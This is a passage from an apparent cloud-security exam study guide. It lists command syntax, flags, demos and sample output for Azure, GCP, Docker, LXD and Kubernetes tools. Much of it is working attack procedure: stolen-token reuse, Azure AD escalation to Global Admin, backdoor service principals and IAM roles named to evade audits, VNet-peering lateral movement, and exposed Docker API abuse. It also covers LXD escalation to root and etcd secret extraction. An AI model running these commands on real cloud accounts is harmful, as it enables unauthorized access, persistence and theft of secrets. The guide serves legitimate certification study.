Each "Searching" line reports progress through one storage account's possible containers; "Analyzing" lines confirm a specific container was found public and is now being paged through for its contents.

Common mistakes: supplying only `-accounts` without `-containers` when a target uses non-default container names, missing real public exposure that a default wordlist would not guess.

What the exam asks: recognizing Goblob as the Azure Blob equivalent of CloudBrute/S3Scanner for AWS S3.

5.34 Azure CLI: Finding Open Network Security Groups

Purpose: list NSGs and their rules to find unrestricted inbound access.

Full syntax:

```
az network nsg list --out table
az network nsg rule list \
    --resource-group <ResourceGroupName> \
    --nsg-name <NSGName> --output table
```

Breakdown: `nsg list` shows every NSG in the subscription; `nsg rule list` shows every rule within one named NSG, scoped to a resource group.

Flag table:

Flag	Meaning	When to use	Example
`--out` / `--output`	Output format	Readable table view	`--out table`
`--resource-group`	Azure resource group	Scoping the NSG lookup	`-g MyRG`
`--nsg-name`	Target NSG name	Listing its rules	`--nsg-name web-nsg`

Demo commands:

```
az network nsg list --out table
az network nsg rule list -g MyRG \
    --nsg-name web-nsg --output table
```

Sample output, line by line:

```
Name       Access  Direction  Port  SourceAddr
AllowRDP   Allow   Inbound    3389  0.0.0.0/0
```

This row shows a rule named `AllowRDP` permitting inbound RDP traffic from `0.0.0.0/0`, the same "any IP" red flag seen in AWS security groups.

Common mistakes: only checking "Inbound security rules" and skipping "Outbound security rules," missing exfiltration-path exposure in the other direction.

What the exam asks: recognizing `0.0.0.0/0` as "any IP" in Azure NSG output just as in AWS.

5.35 PowerShell: Exploiting a Managed Identity's Access Token

Purpose: connect to Azure using a stolen managed-identity access token, then retrieve storage account keys it can access.

Full syntax:

```
Connect-AzAccount -AccessToken <access_token> `
    -AccountId <client_id>
Get-AzStorageAccountKey `
    -ResourceGroupName "<resource_group>" `
    -AccountName "<account_name>"
```

Breakdown: `-AccessToken` supplies the stolen token directly instead of an interactive login; `-AccountId` must match the client ID the token was issued for; `Get-AzStorageAccountKey` then retrieves the actual storage account access keys that identity is authorized to read.

Flag table:

Flag	Meaning	When to use	Example
`-AccessToken`	Stolen/obtained token	Non-interactive auth	see above
`-AccountId`	Client ID the token belongs to	Must match the token	`-AccountId <guid>`
`-ResourceGroupName`	Target resource group	Scoping the storage lookup	`-ResourceGroupName rg1`

Demo commands:

```
Connect-AzAccount -AccessToken $token `
    -AccountId $clientId
Get-AzStorageAccountKey -ResourceGroupName "rg1" `
    -AccountName "mystorageacct"
```

Sample output, line by line (trimmed JSON token claims):

```
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOi...",
 "expires_on":"03/14/2022 10:19:42 +00:00",
 "resource":"https://management.azure.com/"}
```

`resource` confirms the token is scoped to the Azure management API specifically, meaning it can be used for management-plane actions like retrieving storage keys, not just reading blob data directly.

Common mistakes: trying to reuse an access token long after its `expires_on` time has passed; managed identity tokens are short-lived and must be refreshed/re-obtained.

What the exam asks: recognizing that managed identities remove the need to steal a PASSWORD, but compromising the resource itself still yields a usable TOKEN with real access.

5.36 PowerShell: Azure AD Privilege Escalation via App Certificate

Purpose: escalate a normal Azure AD user (misconfigured as an app admin) to Global Administrator, by authenticating as the app itself.

Full syntax:

```
Connect-AzureAD
$pwd = <password>
$path = <thumbprint>
Export-PfxCertificate -cert $path `
    -FilePath <path_to_save_.pfx> -Password $pwd
Connect-AzureAD -TenantId <tenant_id> `
    -ApplicationId <app_id> `
    -CertificateThumbPrint <thumbprint>
Add-AzureADDirectoryRoleMember `
    -RefObjectId <normaluser_object_ID> `
    -ObjectId <GlobalAdmin_ID>
```

Breakdown: the first `Connect-AzureAD` logs in as the normal, misconfigured user; `Export-PfxCertificate` saves a self-signed certificate locally (uploaded separately to the app's registration in the Azure portal); the second `Connect-AzureAD` authenticates AS THE APPLICATION using that certificate; `Add-AzureADDirectoryRoleMember` then uses the app's own permission to assign Global Administrator to the original human user account.

Flag table:

Flag	Meaning	When to use	Example
`-ApplicationId`	App to authenticate as	Step requiring app identity	`-ApplicationId <guid>`
`-CertificateThumbPrint`	Cert identifying the app login	Paired with ApplicationId	see above
`-RefObjectId`	User being promoted	Target of role assignment	`<normaluser_object_ID>`

Flag	Meaning	When to use	Example
`-ObjectId`	Role being assigned	Must be Global Admin's role ID	`<GlobalAdmin_ID>`

Demo commands:

```
Connect-AzureAD -TenantId $tenantId `
    -ApplicationId $appId `
    -CertificateThumbPrint $thumb
Add-AzureADDirectoryRoleMember `
    -RefObjectId $userId -ObjectId $gaRoleId
```

Sample output: on success, `Add-AzureADDirectoryRoleMember` returns no output (a silent success); confirmation requires a follow-up check of the user's assigned directory roles in the portal or via `Get-AzureADUserMembership`.

Common mistakes: attempting this with a user who has standard "Application Administrator" rights but NOT specifically the credential-management permission on that one application; the attack only works if the misconfigured user can add credentials to that specific app.

What the exam asks: tracing the exact chain: app-admin on an app -> add a cert to the app -> log in AS the app -> use the app's own permission to self-promote.

5.37 Azure CLI: Creating a Backdoor Service Principal

Purpose: create a new Azure AD service principal and assign it a privileged role, for stealthy persistent access.

Full syntax:

```
az role definition list --output table
az ad sp create-for-rbac \
    --name <service-principal-name>
az role assignment create \
    --assignee <service-principal-id> \
    --role <role-name>
az role assignment list \
    --assignee <service-principal-id> --output table
```

Breakdown: `role definition list` shows available role names to target; `ad sp create-for-rbac` creates the new service principal and returns its client ID/secret; `role assignment create` grants it a chosen role; `role assignment list` verifies the assignment actually applied.

Flag table:

Flag	Meaning	When to use	Example
`--name`	Name for the new service principal	Creation step	`--name ProdServicePrincipal`

Flag	Meaning	When to use	Example
`--assignee`	Service principal receiving the role	Assignment/verification	`--assignee <sp-id>`
`--role`	Role name to assign	Assignment step	`--role Contributor`

Demo commands:

```
az ad sp create-for-rbac \
    --name ProductionServicePrincipal
az role assignment create \
    --assignee <sp-id> --role Owner
```

Sample output, line by line (trimmed):

```
{
  "appId": "abcd-1234",
  "password": "secretvalue",
  "tenant": "tenant-guid"
}
```

These 3 fields (`appId`, `password`, `tenant`) are exactly what the attacker needs to later authenticate as this service principal from anywhere.

Common mistakes: assigning the `Owner` role (full control, including granting access to others) when a narrower role like `Contributor` would have been stealthier and harder to flag during a role-assignment audit.

What the exam asks: recognizing that a legitimately-named service principal with a privileged role is a textbook stealth backdoor pattern.

5.38 Azure CLI: Exploiting VNet Peering

Purpose: create and tune a VNet peering connection to move laterally between Azure virtual networks.

Full syntax:

```
az network vnet peering create \
    -g TargetResourceGroup \
    -n AttackerVnetToTargetVnet \
    --vnet-name AttackerVnet \
    --remote-vnet TargetVnetId --allow-vnet-access
az network vnet peering update \
    -g TargetResourceGroup \
    -n AttackerVnetToTargetVnet \
    --vnet-name AttackerVnet \
    --set allowForwardedTraffic=true
az network vnet peering update \
    -g TargetResourceGroup \
    -n AttackerVnetToTargetVnet \
    --vnet-name AttackerVnet \
    --set allowGatewayTransit=true
az network vnet peering sync \
    -g TargetResourceGroup \
    -n AttackerVnetToTargetVnet \
    --vnet-name AttackerVnet
```

Breakdown: `peering create` establishes the link with `--allow-vnet-access`; `peering update --set allowForwardedTraffic= true` lets traffic not originating directly from the peered VNet still cross the link; `--set allowGatewayTransit=true` lets the remote VNet use this VNet's gateway; `peering sync` reconciles both sides' settings.

Flag table:

Flag	Meaning	When to use	Example
`--allow-vnet-access`	Enable basic peering access	Creation step	see above
`--set allowForwardedTraffic`	Allow non-direct traffic through	Routing beyond direct peers	`=true`
`--set allowGatewayTransit`	Allow use of this VNet's gateway	Extending gateway reach	`=true`

Demo commands:

```
az network vnet peering create -g RG1 \
    -n sandboxToProd --vnet-name sandboxVnet \
    --remote-vnet prodVnetId --allow-vnet-access
```

Sample output, line by line (trimmed):

```
{
  "allowForwardedTraffic": false,
  "allowGatewayTransit": false,
  "peeringState": "Connected"
}
```

`peeringState: "Connected"` confirms the link is active; both traffic- forwarding flags default to `false` and must be explicitly updated (as shown above) before wider routing is possible.

Common mistakes: assuming peering is automatically TRANSITIVE (that peering A-to-B and B-to-C lets A reach C); it is not, by design, unless additional routing/NVA configuration is added.

What the exam asks: recognizing that VNet peering requires explicit `--allow-vnet-access` and is non-transitive by default.

5.39 Google Cloud CLI: Enumerating GCP Resources

Purpose: list and inspect GCP organizations, projects, storage buckets, compute instances, service accounts, and IAM roles.

Full syntax:

```
gcloud organizations list
gsutil iam get gs://<bucket_name>
gsutil ls gs://<bucket_name>
gcloud compute instances list
gcloud compute instances describe <instance> \
    --zone <zone>
gcloud iam service-accounts list
gcloud auth print-access-token \
    --impersonate-service-account=<service-account-email>
gcloud iam roles list [--organization=<org>] \
    [--project=<project_id>]
gcloud iam roles describe <role_id> \
    [--organization=<org>] [--project=<project_id>]
```

Breakdown: `gsutil` commands target Cloud Storage specifically; every `gcloud` command here is a read-only `list`/`describe`/`get` call; `--impersonate-service-account` requests a token as if the caller WERE that service account, provided they have permission to impersonate it.

Flag table:

Flag	Meaning	When to use	Example
`--zone`	Target compute zone	Describing one instance	`--zone us-central1-a`
`--impersonate-service-account`	Act as another SA	Privilege testing/ escalation	`=sa@project.iam...`
`--organization` / `--project`	Scope for IAM roles	Listing/describing roles	`--project my-proj`

Demo commands:

```
gsutil iam get gs://my-public-bucket
gcloud auth print-access-token \
    --impersonate-service-account=\
svc@my-proj.iam.gserviceaccount.com
```

Sample output, line by line (trimmed):

```
{"bindings": [{
  "members": ["allUsers"],
  "role": "roles/storage.objectViewer"
}]}
```

`"members": ["allUsers"]` is the critical finding: it means literally anyone on the internet, authenticated or not, has the listed role on this bucket.

Common mistakes: confusing `allUsers` (truly anyone, even unauthenticated) with `allAuthenticatedUsers` (anyone with ANY Google account, still extremely broad, but technically distinct).

What the exam asks: recognizing `allUsers` in an IAM binding as fully public access, and knowing `gsutil` (not `gcloud`) is used for Cloud Storage specifically.

5.40 GCP Scanner (credential access-level scanner)

Purpose: determine exactly what level of access a given credential (SA key, gcloud profile, metadata, or token) has in GCP.

Full syntax:

```
python3 scanner.py -o <output_folder> \
    -g <gcloud_profile_path>
python3 scanner.py -o <output_folder> \
    -k <key_path>
python3 scanner.py -o <output_folder> -M
```

Breakdown: `-o` sets where results are saved; `-g` supplies a `gcloud` profile directory to evaluate; `-k` supplies a directory of service-account key files instead; `-M`/`--use-metadata` pulls credentials directly from the current GCE instance's own metadata service.

Flag table:

Flag	Meaning	When to use	Example
`-o`	Output folder for results	Always required	`-o results/`
`-g`	gcloud profile path	Testing a local gcloud login	`-g ~/.config/gcloud`
`-k`	SA key directory	Testing stolen SA key files	`-k ./keys/`

Flag	Meaning	When to use	Example
`-M` / `--use-metadata`	Use GCE instance metadata	Testing from inside a GCE VM	`-M`
`-ls` / `--light-scan`	Only key fields in output	Faster overview	`-ls`

Demo commands:

```
python3 scanner.py -o results/ \
    -g ~/.config/gcloud
python3 scanner.py -o results/ -M -ls
```

Sample output: results are written as structured files (JSON) in the output folder, listing every resource and permission the supplied credential could reach; there is no single-line terminal summary by default.

Common mistakes: running this against a credential the attacker does not actually control yet, confusing "what this SHOULD be able to do" with "what has actually been verified."

What the exam asks: recognizing GCP Scanner's multiple possible credential INPUT TYPES (SA key, profile, metadata, tokens) as its defining, flexible feature.

5.41 cloud_enum (multi-cloud bucket/resource enumeration)

Purpose: enumerate open or public buckets, Firebase databases, App Engine sites, and cloud functions across AWS, Azure, and GCP.

Full syntax:

```
python3 cloud_enum.py -k <keyword>
python3 cloud_enum.py -k <keyword> \
    --disable-aws --disable-azure
```

Breakdown: `-k` sets the base keyword to mutate into candidate resource names; by default, `cloud_enum` checks ALL THREE providers; `--disable-aws` and `--disable-azure` narrow the scan to GCP only (or any combination can be disabled to isolate one provider).

Flag table:

Flag	Meaning	When to use	Example
`-k`	Keyword to mutate	Always required	`-k acmecorp`
`--disable-aws`	Skip AWS checks	Scoping to fewer providers	see above
`--disable-azure`	Skip Azure checks	Scoping to fewer providers	see above

Demo commands:

```
python3 cloud_enum.py -k cloud \
    --disable-aws --disable-azure
```

Sample output, line by line:

```
[+] Mutations list imported: 306 items
[+] Mutated results: 1837 items
[+] Checking for Google buckets
Protected Google Bucket: http://storage.
googleapis.com/cloud001
```

The mutation counts confirm how many candidate names were generated from one keyword; each "Protected Google Bucket" line confirms a real bucket name exists but denies anonymous access (the GCP equivalent of AWS's `403` result).

Common mistakes: leaving all three providers enabled when only one is relevant, wasting scan time and generating unnecessary noise against unrelated providers.

What the exam asks: recognizing `cloud_enum` as multi-cloud by DEFAULT, needing explicit disable flags to narrow scope, unlike provider-specific tools such as GCPBucketBrute.

5.42 GCP Privilege Escalation Scanner

Purpose: enumerate every IAM member's permissions in a GCP project/organization, then check which members can privilege-escalate.

Full syntax:

```
python3 enumerate_member_permissions.py \
    --project-id <project_ID>
python3 check_for_privesc.py
```

Breakdown: the first script walks every member (user, group, service account) and records their effective permissions into a JSON file; the second script reads that JSON and checks it against a known list of privilege-escalation method names (such as `UpdateIAMRole`, `CreateServiceAccountKey`).

Demo commands:

```
python3 enumerate_member_permissions.py \
    --project-id test-project-123
python3 check_for_privesc.py
```

Sample output, line by line:

```
user: spencer on Organization 61:
UpdateIAMRole
CreateServiceAccountKey
GetServiceAccountAccessToken
```

Each listed permission under a user's name is a privilege-escalation METHOD that user could use; here, user `spencer` has at least 3 different ways to escalate privileges within Organization 61.

Common mistakes: running `check_for_privesc.py` without having run the enumeration script first for the SAME project/organization scope, leading to stale or missing data.

What the exam asks: connecting this tool's output directly to the AWS IAM Privilege Escalation Techniques list (section 3.57) as the same underlying concept applied to GCP's own permission names.

5.43 GCPBucketBrute (bucket privilege escalation check)

Purpose: brute-force GCS bucket names, then test whether unauthenticated callers can read, list, or even administer each one.

Full syntax:

```
python3 gcpbucketbrute.py -k <keyword> -u
```

Breakdown: `-k` sets the keyword for name generation; `-u` enables checking for UNAUTHENTICATED access specifically (as opposed to only checking against the operator's own authenticated identity).

Flag table:

Flag	Meaning	When to use	Example
`-k`	Keyword for name generation	Always required	`-k testtest`
`-u`	Check unauthenticated access	Finding fully public exposure	`-u`

Demo commands:

```
python3 gcpbucketbrute.py -k testtest -u
```

Sample output, line by line:

```
EXISTS: testtestanalytics
UNAUTHENTICATED ACCESS ALLOWED: testtestanalytics
- VULNERABLE TO PRIVILEGE ESCALATION
  (storage.buckets.setIamPolicy)
- ALL PERMISSIONS:
  "storage.buckets.delete",
  "storage.buckets.setIamPolicy"
```

`EXISTS` confirms the bucket name is real; `UNAUTHENTICATED ACCESS ALLOWED` plus the listed permissions confirm anyone, with zero credentials, can both DELETE the bucket and CHANGE its IAM policy, the most severe possible finding.

Common mistakes: stopping at "EXISTS" or "UNAUTHENTICATED READABLE" findings and missing the much rarer, far more severe "VULNERABLE TO PRIVILEGE ESCALATION" findings further down a long scan's output.

What the exam asks: recognizing `storage.buckets.setIamPolicy` granted to an unauthenticated caller as full administrative takeover, the single worst finding this tool reports.

5.44 Google Cloud CLI: Creating a Backdoor IAM Role

Purpose: create a custom IAM role and bind it to a service account for persistent access.

Full syntax:

```
gcloud iam roles create <role_name> \
    --project=<project_id> \
    --file=role-definition.yaml
gcloud projects add-iam-policy-binding <project_id> \
    --member=serviceAccount:<service_account>@\
<project_id>.iam.gserviceaccount.com \
    --role=roles/<role_name>
```

Breakdown: `iam roles create` defines a brand-new custom role from a YAML file listing exact permissions; `projects add-iam-policy- binding` then attaches that role to a specific service account within the project.

Flag table:

Flag	Meaning	When to use	Example
`--project`	Target GCP project	Both commands	`--project my-proj`
`--file`	Role definition YAML	Creating the role	`--file role.yaml`
`--member`	Identity receiving the role	Binding step	`serviceAccount:x@...`
`--role`	Role being bound	Binding step	`--role=roles/myCustomRole`

Demo commands:

```
gcloud iam roles create backdoorRole \
    --project=my-proj --file=role-definition.yaml
gcloud projects add-iam-policy-binding my-proj \
    --member=serviceAccount:\
automation@my-proj.iam.gserviceaccount.com \
    --role=roles/backdoorRole
```

Sample output, line by line (trimmed):

```
Created role [backdoorRole].
Updated IAM policy for project [my-proj].
```

Both confirmations are simple one-line success messages; neither highlights the specific permissions granted, which is why this technique can stay unnoticed without a dedicated role audit.

Common mistakes: naming the custom role something obviously suspicious; attackers deliberately choose names matching existing organizational conventions to blend in (the same pattern as section 3.72's Azure service principal naming).

What the exam asks: recognizing this as a POST-EXPLOITATION persistence technique, requiring prior admin-level access (as noted directly in the source material).

5.45 kubectl (Kubernetes information gathering)

Purpose: read pod, service, deployment, and service account information from a Kubernetes cluster.

Full syntax:

```
kubectl get pods
kubectl describe pod <pod-name>
kubectl logs <pod-name>
kubectl get services
kubectl get deployment
kubectl get serviceaccounts
```

Breakdown: `get` lists resources of a given type; `describe` shows full detail on one named resource; `logs` dumps a pod's console output.

Flag table:

Flag	Meaning	When to use	Example
(none required)	All commands work with defaults	Default namespace scope	see above
`-n <namespace>` (added)	Target a specific namespace	Looking outside `default`	`-n kube-system`

Demo commands:

```
kubectl get pods -n kube-system
kubectl logs web-app-7d9f8c-x2k9p
```

Sample output, line by line:

```
NAME                READY   STATUS    RESTARTS
web-app-7d9f8c-x2k9p  1/1   Running   0
```

`READY 1/1` means the pod's one expected container is running; `STATUS Running` confirms it is live and reachable for a `describe` or `logs` follow-up.

Common mistakes: forgetting that `kubectl get pods` only shows the DEFAULT namespace unless `-n <namespace>` (or `--all-namespaces`) is specified, which can make a cluster look much emptier than it is.

What the exam asks: distinguishing `get` (list), `describe` (detail one), and `logs` (dump output) as three distinct, all READ-ONLY, kubectl verbs.

5.46 Enumerating Container Registries

Purpose: log in to a container registry and list its image catalog and tags via the Registry HTTP API.

Full syntax:

```
docker login registry-url
curl -u <username>:<password> \
    https://<registry-url>/v2/_catalog
curl -u <username>:<password> \
    https://<registry-url>/v2/<image-name>/tags/list
```

Breakdown: `docker login` authenticates the Docker CLI itself; the `curl -u` calls hit the registry's own HTTP API directly, with basic authentication, bypassing the Docker CLI entirely.

Flag table:

Flag	Meaning	When to use	Example
`-u`	HTTP basic auth credentials	Every direct API call	`-u admin:password`

Demo commands:

```
curl -u admin:password \
    https://registry.corp.com/v2/_catalog
curl -u admin:password \
    https://registry.corp.com/v2/webapp/tags/list
```

Sample output, line by line:

```
{"repositories":["webapp","db-migrator","nginx"]}
{"name":"webapp","tags":["latest","1.2","1.1"]}
```

The first response lists every repository (image name) in the registry; the second lists every TAG (version) available for one specific image, named `webapp`.

Common mistakes: only ever checking the `:latest` tag; older tags listed in `tags/list` may still be deployed somewhere and carry known, unpatched vulnerabilities.

What the exam asks: recognizing `/v2/_catalog` (all images) versus `/v2/<name>/tags/list` (one image's versions) as distinct Registry API endpoints.

5.47 Trivy (image and dependency vulnerability scanning)

Purpose: scan a container image for OS package and application dependency vulnerabilities.

Full syntax:

```
trivy image <image_name>
trivy image --severity CRITICAL <image_name>
```

Breakdown: `trivy image` is the main scan subcommand; `--severity` filters results down to only the chosen severity level(s).

Flag table:

Flag	Meaning	When to use	Example
`--severity`	Filter by severity level	Focusing on urgent fixes	`--severity CRITICAL`

Demo commands:

```
trivy image myapp:latest
trivy image --severity CRITICAL,HIGH myapp:latest
```

Sample output, line by line:

```
Total: 2 (CRITICAL: 1, HIGH: 1)
libexpat1  2.2.0-2+deb9u4 -> 2.2.0-2+deb9u3
```

The total line summarizes how many vulnerabilities were found, by severity; the package line shows the vulnerable installed version and the SUGGESTED FIXED version to upgrade to.

Common mistakes: scanning an image AFTER it is already deployed to production, rather than as a required CI/CD pipeline gate before deployment.

What the exam asks: recognizing Trivy as an IMAGE/DEPENDENCY-level scanner (contents of the image), distinct from cluster-level scanners like kube-hunter.

5.48 Docker Remote API Exploitation

Purpose: pull, run, and execute commands inside containers on a remote, unauthenticated Docker host, and pivot to scan its network.

Full syntax:

```
docker -H <Remote_IP:Port> pull alpine
docker -H <Remote_IP:Port> run -t -d alpine
docker -H <Remote_IP:Port> exec \
    <container_name> ls
docker -H <docker_host> run --network=host \
    --rm marsmensch/nmap -oX <IP_Range>
```

Breakdown: `-H <IP:Port>` points the Docker CLI at a REMOTE daemon instead of the local one; `run -t -d` starts a detached, interactive container; `exec ... ls` runs a command inside a running container; the final command runs a pre-built Nmap container with `--network=host`, giving it direct access to the DOCKER HOST's own network interfaces for scanning.

Flag table:

Flag	Meaning	When to use	Example
`-H`	Remote Docker daemon address	Every remote command	`-H 10.0.0.5:2375`
`--network=host`	Use host's network stack directly	Network pivoting/ scanning	see above
`-t -d`	Interactive + detached mode	Starting a usable shell container	`run -t -d alpine`

Demo commands:

```
docker -H 10.0.0.5:2375 run -t -d alpine
docker -H 10.0.0.5:2375 exec modest_x ls /
```

Sample output, line by line:

```
Nmap scan report for 10.100.0.1
Host is up (0.00049s latency).
22/tcp  open  ssh
111/tcp open  rpcbind
```

This is standard Nmap output, but critically, it was generated by a container running WITH the Docker host's own network access, scanning the host's internal network as if the attacker were standing inside it.

Common mistakes: assuming a remote Docker API requires valid credentials; many real-world exposures have NO authentication configured at all, making `-H <IP:Port>` work immediately.

What the exam asks: recognizing `--network=host` as the specific flag that breaks container network isolation for scanning purposes.

5.49 LXD/LXC Privilege Escalation Commands

Purpose: build a privileged LXD container that mounts the host's root filesystem, to escalate from `lxd` group membership to root.

Full syntax:

```
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/\
master/images/alpine.yaml
sudo distrobuilder build-lxd alpine.yaml \
    -o image.release=3.18
lxc image import lxd.tar.xz rootfs.squashfs \
    --alias alpine
lxc image list
lxc init alpine privesc \
    -c security.privileged=true
lxc config device add privesc host-root disk \
    source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

Breakdown: the `mkdir`/`cd`/`wget` lines prepare a container image definition; `distrobuilder` compiles it; `lxc image import` loads it into LXD; `lxc init ... security.privileged=true` creates a PRIVILEGED container (one with reduced isolation from the host); `lxc config device add ... source=/ path=/mnt/root` mounts the ENTIRE host filesystem, read-write, into the container at `/mnt/root`; `lxc start`/`lxc exec` then boot it and open a root shell inside.

Flag table:

Flag	Meaning	When to use	Example
`security.privileged=true`	Disable container isolation	Enabling host filesystem access	`-c security.privileged=true`
`source=/ path=/mnt/root`	Mount host root into container	Direct host filesystem access	see above

Demo commands:

```
lxc init alpine privesc \
    -c security.privileged=true
lxc exec privesc /bin/sh
```

Sample output: on success, `lxc exec privesc /bin/sh` drops straight into a root shell where `ls /mnt/root` lists the HOST machine's own root directory, not the container's own isolated filesystem.

Common mistakes: underestimating that `lxd` group membership ALONE, with no `sudo` password prompt at all, is sufficient to run every command above.

What the exam asks: recognizing `security.privileged=true` plus a host-root disk mount as the exact combination that breaks container isolation for privilege escalation.

5.50 etcdctl (Kubernetes etcd secret extraction)

Purpose: identify the etcd server's certificates, then query etcd directly to extract stored Kubernetes secrets.

Full syntax:

```
ps -ef | grep apiserver
ETCDCTL_API=3 etcdctl \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/apiserver-etcd-client.crt \
    --key=/etc/kubernetes/pki/apiserver-etcd-client.key \
    --endpoints=https://127.0.0.1:2379 \
    get /registry/ --prefix | grep -a \
    '/registry/secrets/'
```

Breakdown: `ps -ef | grep apiserver` reveals the exact certificate file PATHS the running API server uses (needed for the next command); `ETCDCTL_API=3` selects the modern etcd API version; `--cacert`/ `--cert`/`--key` supply the client certificate needed to authenticate to `etcd`; `--endpoints` targets the local `etcd` server; `get /registry/ --prefix` retrieves every key under that prefix; piping to `grep -a '/registry/secrets/'` filters down to just the Secret objects.

Flag table:

Flag	Meaning	When to use	Example
`--cacert/--cert/--key`	TLS client auth material	Every etcd query	see above
`--endpoints`	etcd server address	Always required	`https://127.0.0.1:2379`
`--prefix`	Match all keys under a path	Bulk retrieval	`get /registry/ --prefix`

Demo commands:

```
ps -ef | grep apiserver
ETCDCTL_API=3 etcdctl --cacert=... --cert=... \
    --key=... --endpoints=https://127.0.0.1:2379 \
    get /registry/secrets/default/db-creds
```

Sample output, line by line (conceptual, decoded):

```
/registry/secrets/default/db-creds
{"password":"S3cr3tDBPass!"}
```

The key path confirms exactly which namespace/secret was retrieved; the value, if Secrets are not separately encrypted (Kubernetes Vulnerability #5, section 3.15), is plain, readable text.

Common mistakes: assuming Kubernetes Secrets are encrypted by default; without an explicit `EncryptionConfiguration`, they are only base64-ENCODED (not encrypted) at the API level, and stored in plain text in `etcd` itself.

What the exam asks: recognizing that direct `etcd` access bypasses Kubernetes RBAC entirely, which only controls access through the API server, not the underlying data store.

5.51 Scout Suite (multi-cloud security auditing)

Purpose: run a consistent security audit across AWS, Azure, or GCP and produce one unified, browser-based dashboard.

Full syntax:

```
scout aws --profile <your-aws-profile>
scout azure --tenant-id <tenant-id> \
    --subscription-id <subscription-id> \
    --client-id <client-id> \
    --client-secret <client-secret>
scout gcp --service-account-file \
    path/to/your-service-account-key.json
```

Breakdown: the first word after `scout` always selects the cloud provider; each provider then takes its own matching authentication flags (`--profile` for AWS, 4 separate Azure identifiers, or one service account JSON file for GCP).

Flag table:

Flag	Meaning	When to use	Example
`--profile`	AWS CLI profile	AWS scans	`--profile default`
`--tenant-id`/`--subscription-id`/`--client-id`/`--client-secret`	Azure auth	Azure scans	see above
`--service-account-file`	GCP SA key JSON	GCP scans	`key.json`

Demo commands:

```
scout aws --profile default
scout gcp --service-account-file ./sa-key.json
```

Sample output (dashboard summary, not terminal text):

```
Service: EC2    Resources: 150   Findings: 1415
Service: CloudTrail  Resources: 16  Findings: ?
```

The dashboard's per-service resource and finding counts let an auditor instantly see which service (here, EC2) has by far the largest number of findings and should be reviewed first.

Common mistakes: running Scout Suite with a low-privilege, read-restricted credential, which silently produces a dashboard that LOOKS clean simply because it could not see most resources.

What the exam asks: recognizing the consistent `scout <provider> <auth-flags>` command pattern as Scout Suite's defining, multi-cloud design.

6. Ports, Protocols, Standards and Acronyms

6.1 Ports and addresses named or shown in this module

Port/Address	Used by	Purpose	Known weakness
169.254.169.254	AWS/cloud Instance Metadata Service (IMDS)	Serves instance config and IAM role creds	SSRF/local access steals IAM credentials
TCP 80 / 443	Standard HTTP/HTTPS	Normal web traffic; AWS SG default-allowed	Abused as C2 disguise (Cloud Snooper)
TCP 1010,2020,6060,7070, 8080,9999	Cloud Snooper internal rootkit ports	Real C2 traffic after SG bypass	Non-standard, used only after disguise strip
TCP 2375	Docker Remote API (no TLS)	Remote Docker daemon control	Often unauthenticated if exposed
TCP 2376	Docker Remote API (TLS)	Remote Docker daemon control, encrypted	Still risky if client cert checks are weak
TCP 2379	etcd client API	Kubernetes cluster data store access	Unencrypted/ unauthenticated secrets if open
TCP 443 (ADFS)	Golden SAML target services	SAML-based SSO authentication	Forged tokens via stolen signing cert
TCP 3389	RDP (example open security group)	Windows remote desktop	Brute force if exposed via `0.0.0.0/0`
TCP 1433 (example)	SQL Server (example open NSG)	Database access	Brute force if exposed via `0.0.0.0/0`

6.2 Protocols and standards

- **SOAP (Simple Object Access Protocol):** an XML-based messaging protocol for web services. Who uses it: legacy enterprise and cloud APIs. Why attackers care: the wrapping attack (section 3.18) exploits how SOAP message bodies are structured and signed inside the TLS layer.
- **SAML (Security Assertion Markup Language):** an XML-based standard for exchanging authentication and authorization data between an identity provider and a service provider. Who uses it: enterprise single sign-on systems like Active Directory Federation Services (ADFS). Why attackers care: the Golden SAML attack (section 3.26) forges SAML tokens using a stolen signing certificate.
- **IMDS (Instance Metadata Service):** a protocol/endpoint (at `169.254.169.254`) that every major cloud provider exposes to running instances, serving configuration data and (for AWS) IAM role credentials. Why attackers care: IMDS attacks (section 3.23) and SSRF chains (section 3.55) steal these credentials remotely. IMDSv2 (AWS's hardened version) requires a session token obtained via a `PUT` request first, defeating simple `GET`-based SSRF theft.
- **SS7 (Signaling System 7)** (added context from Module 10/11-style telecom coverage, referenced for Cloud Hopper-adjacent telecom trust): a legacy telecom signaling protocol with weak inter-operator trust; while not AWS/Azure/GCP-specific, it illustrates the same "shared trust with no real authentication" theme seen in several cloud attacks in this module.
- **TLS (Transport Layer Security):** the encryption layer wrapping HTTPS and SOAP-over-HTTPS traffic. Why attackers care: the wrapping attack specifically happens during the SOAP-to-TLS message translation step, not by breaking TLS encryption itself.
- **RBAC (Role-Based Access Control):** an authorization model used by Kubernetes and most cloud IAM systems, granting permissions to roles rather than individuals directly. Why attackers care: "Overly Permissive RBAC Configurations" is Kubernetes risk K03 (section 3.11); weak RBAC is the root cause behind most privilege-escalation techniques in this module.
- **OAuth2:** a widely used authorization framework issuing access tokens for delegated access, without sharing passwords. Who uses it: Google Cloud and most modern cloud APIs. Why attackers care: leaked OAuth2 refresh tokens are one of the credential types GCP Scanner (section 3.76) is specifically built to evaluate.
- **MITRE ATT&CK:** a published, structured framework cataloging real- world adversary tactics and techniques. Who uses it: Stratus Red Team (section 3.47) maps every emulated technique to a specific MITRE ATT&CK tactic (such as "persistence").
- **AICPA SSAE 18:** the current US audit standard behind SOC 1/SOC 2 reports; a Type II report covers control effectiveness over a period of time. Referenced directly in the cloud security best-practices list (section 3.91, item 3) (verify current SSAE numbering).

- **MFA/2FA (Multi-Factor / Two-Factor Authentication):** requiring a second proof of identity beyond a password. Why it matters here: the single most repeated countermeasure across this entire module (service hijacking, password spraying, IAM compromise, and more).

6.3 Key acronyms used in this module

Acronym	Stands for	One-line meaning
IaaS	Infrastructure-as-a-Service	Vendor supplies raw compute/ storage/network
PaaS	Platform-as-a-Service	Vendor also manages OS/ runtime
SaaS	Software-as-a-Service	Vendor runs the whole application
FaaS	Function-as-a-Service	Vendor runs individual functions on demand
CaaS	Container-as-a-Service	Vendor runs the container orchestration layer
IDaaS	Identity-as-a-Service	Outsourced identity/access management
SECaaS	Security-as-a-Service	Outsourced security monitoring/response
XaaS	Anything-as-a-Service	Catch-all for any IT capability as a service
IMDS	Instance Metadata Service	Endpoint serving instance config/IAM creds
